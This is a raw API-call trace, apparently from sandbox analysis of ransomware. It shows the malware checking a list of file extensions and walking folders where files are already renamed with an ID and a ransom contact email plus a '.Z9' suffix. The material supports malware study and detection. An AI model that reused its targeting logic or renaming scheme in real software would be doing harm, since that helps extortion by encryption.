	[0159.769] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".eps") returned 4
	[0159.769] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".epsf") returned 5
	[0159.769] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0159.769] lstrlenW (lpString=".epsp") returned 5
	[0159.769] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0159.769] lstrlenW (lpString=".erf") returned 4
	[0159.769] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".exr") returned 4
	[0159.770] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".f4v") returned 4
	[0159.770] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".fido") returned 5
	[0159.770] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0159.770] lstrlenW (lpString=".flm") returned 4
	[0159.770] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".flv") returned 4
	[0159.770] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".frm") returned 4
	[0159.770] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".fxg") returned 4
	[0159.770] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".geo") returned 4
	[0159.770] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".gif") returned 4
	[0159.770] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".grs") returned 4
	[0159.770] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".gz") returned 3
	[0159.770] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0159.770] lstrlenW (lpString=".h") returned 2
	[0159.770] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0159.770] lstrlenW (lpString=".hdr") returned 4
	[0159.770] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".hpp") returned 4
	[0159.770] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".hta") returned 4
	[0159.770] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".htc") returned 4
	[0159.770] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0159.770] lstrlenW (lpString=".htm") returned 4
	[0159.770] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".html") returned 5
	[0159.771] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0159.771] lstrlenW (lpString=".icb") returned 4
	[0159.771] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".ics") returned 4
	[0159.771] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".iff") returned 4
	[0159.771] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".inc") returned 4
	[0159.771] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".indd") returned 5
	[0159.771] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0159.771] lstrlenW (lpString=".ini") returned 4
	[0159.771] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".iqy") returned 4
	[0159.771] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".j2c") returned 4
	[0159.771] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".j2k") returned 4
	[0159.771] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".java") returned 5
	[0159.771] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0159.771] lstrlenW (lpString=".jp2") returned 4
	[0159.771] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".jpc") returned 4
	[0159.771] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".jpe") returned 4
	[0159.771] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".jpeg") returned 5
	[0159.771] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0159.771] lstrlenW (lpString=".jpf") returned 4
	[0159.771] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0159.771] lstrlenW (lpString=".jpg") returned 4
	[0159.771] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".jpx") returned 4
	[0159.772] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".js") returned 3
	[0159.772] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0159.772] lstrlenW (lpString=".jsf") returned 4
	[0159.772] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".json") returned 5
	[0159.772] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0159.772] lstrlenW (lpString=".jsp") returned 4
	[0159.772] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".kdc") returned 4
	[0159.772] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".kmz") returned 4
	[0159.772] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".kwm") returned 4
	[0159.772] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".lasso") returned 6
	[0159.772] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0159.772] lstrlenW (lpString=".lbi") returned 4
	[0159.772] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".lgf") returned 4
	[0159.772] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".lgp") returned 4
	[0159.772] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".log") returned 4
	[0159.772] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".m1v") returned 4
	[0159.772] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".m4a") returned 4
	[0159.772] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".m4v") returned 4
	[0159.772] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0159.772] lstrlenW (lpString=".max") returned 4
	[0159.773] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".md") returned 3
	[0159.773] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0159.773] lstrlenW (lpString=".mda") returned 4
	[0159.773] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mdb") returned 4
	[0159.773] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mde") returned 4
	[0159.773] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mdf") returned 4
	[0159.773] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mdw") returned 4
	[0159.773] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mef") returned 4
	[0159.773] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mft") returned 4
	[0159.773] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mfw") returned 4
	[0159.773] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mht") returned 4
	[0159.773] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mhtml") returned 6
	[0159.773] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mka") returned 4
	[0159.773] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mkidx") returned 6
	[0159.773] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mkv") returned 4
	[0159.773] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mos") returned 4
	[0159.773] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mov") returned 4
	[0159.773] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0159.773] lstrlenW (lpString=".mp3") returned 4
	[0159.773] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".mp4") returned 4
	[0159.774] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".mpeg") returned 5
	[0159.774] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0159.774] lstrlenW (lpString=".mpg") returned 4
	[0159.774] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".mpv") returned 4
	[0159.774] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".mrw") returned 4
	[0159.774] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".msg") returned 4
	[0159.774] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".mxl") returned 4
	[0159.774] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".myd") returned 4
	[0159.774] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".myi") returned 4
	[0159.774] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".nef") returned 4
	[0159.774] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".nrw") returned 4
	[0159.774] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".obj") returned 4
	[0159.774] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".odb") returned 4
	[0159.774] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".odc") returned 4
	[0159.774] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".odm") returned 4
	[0159.774] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".odp") returned 4
	[0159.774] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0159.774] lstrlenW (lpString=".ods") returned 4
	[0159.774] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".oft") returned 4
	[0159.775] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".one") returned 4
	[0159.775] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".onepkg") returned 7
	[0159.775] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0159.775] lstrlenW (lpString=".onetoc2") returned 8
	[0159.775] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0159.775] lstrlenW (lpString=".opt") returned 4
	[0159.775] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".oqy") returned 4
	[0159.775] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".orf") returned 4
	[0159.775] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".p12") returned 4
	[0159.775] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".p7b") returned 4
	[0159.775] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".p7c") returned 4
	[0159.775] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".pam") returned 4
	[0159.775] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".pbm") returned 4
	[0159.775] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".pct") returned 4
	[0159.775] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0159.775] lstrlenW (lpString=".pcx") returned 4
	[0159.776] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pdd") returned 4
	[0159.776] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pdf") returned 4
	[0159.776] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pdp") returned 4
	[0159.776] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pef") returned 4
	[0159.776] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pem") returned 4
	[0159.776] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pff") returned 4
	[0159.776] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pfm") returned 4
	[0159.776] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pfx") returned 4
	[0159.776] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".pgm") returned 4
	[0159.776] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".php") returned 4
	[0159.776] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0159.776] lstrlenW (lpString=".php3") returned 5
	[0159.776] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0159.776] lstrlenW (lpString=".php4") returned 5
	[0159.776] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0159.776] lstrlenW (lpString=".php5") returned 5
	[0159.776] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0159.777] lstrlenW (lpString=".phtml") returned 6
	[0159.777] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0159.777] lstrlenW (lpString=".pict") returned 5
	[0159.777] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0159.777] lstrlenW (lpString=".pl") returned 3
	[0159.777] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0159.777] lstrlenW (lpString=".pls") returned 4
	[0159.777] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0159.777] lstrlenW (lpString=".pm") returned 3
	[0159.777] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0159.777] lstrlenW (lpString=".png") returned 4
	[0159.777] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0159.777] lstrlenW (lpString=".pnm") returned 4
	[0159.777] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0159.777] lstrlenW (lpString=".pot") returned 4
	[0159.777] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0159.777] lstrlenW (lpString=".potm") returned 5
	[0159.777] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0159.777] lstrlenW (lpString=".potx") returned 5
	[0159.777] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0159.777] lstrlenW (lpString=".ppa") returned 4
	[0159.777] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".ppam") returned 5
	[0159.778] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0159.778] lstrlenW (lpString=".ppm") returned 4
	[0159.778] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".pps") returned 4
	[0159.778] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".ppsm") returned 5
	[0159.778] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0159.778] lstrlenW (lpString=".ppt") returned 4
	[0159.778] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".pptm") returned 5
	[0159.778] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0159.778] lstrlenW (lpString=".pptx") returned 5
	[0159.778] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0159.778] lstrlenW (lpString=".prn") returned 4
	[0159.778] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".ps") returned 3
	[0159.778] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0159.778] lstrlenW (lpString=".psb") returned 4
	[0159.778] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".psd") returned 4
	[0159.778] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".pst") returned 4
	[0159.778] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".ptx") returned 4
	[0159.778] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0159.778] lstrlenW (lpString=".pub") returned 4
	[0159.779] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0159.779] lstrlenW (lpString=".pwm") returned 4
	[0159.779] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0159.779] lstrlenW (lpString=".pxr") returned 4
	[0159.779] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0159.779] lstrlenW (lpString=".py") returned 3
	[0159.779] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0159.779] lstrlenW (lpString=".qt") returned 3
	[0159.779] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0159.779] lstrlenW (lpString=".r3d") returned 4
	[0159.779] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0159.779] lstrlenW (lpString=".raf") returned 4
	[0159.779] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0159.779] lstrlenW (lpString=".rar") returned 4
	[0159.779] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0159.779] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35436895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35436895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.779] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f01773, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f01773, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3600916a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.779] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f01773, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f01773, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3600916a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.779] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0159.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.780] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0159.780] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.780] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eca8
	[0159.783] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.783] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35502444, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x356336ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.783] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x355286d0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x355286d0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.784] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f242f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f242f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x360555d5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.784] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f242f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f242f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x360555d5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.784] FindClose (in: hFindFile=0x76eca8 | out: hFindFile=0x76eca8) returned 1
	[0159.784] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.785] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0159.785] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.785] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e928
	[0159.787] FindNextFileW (in: hFindFile=0x76e928, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x357b0d72, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
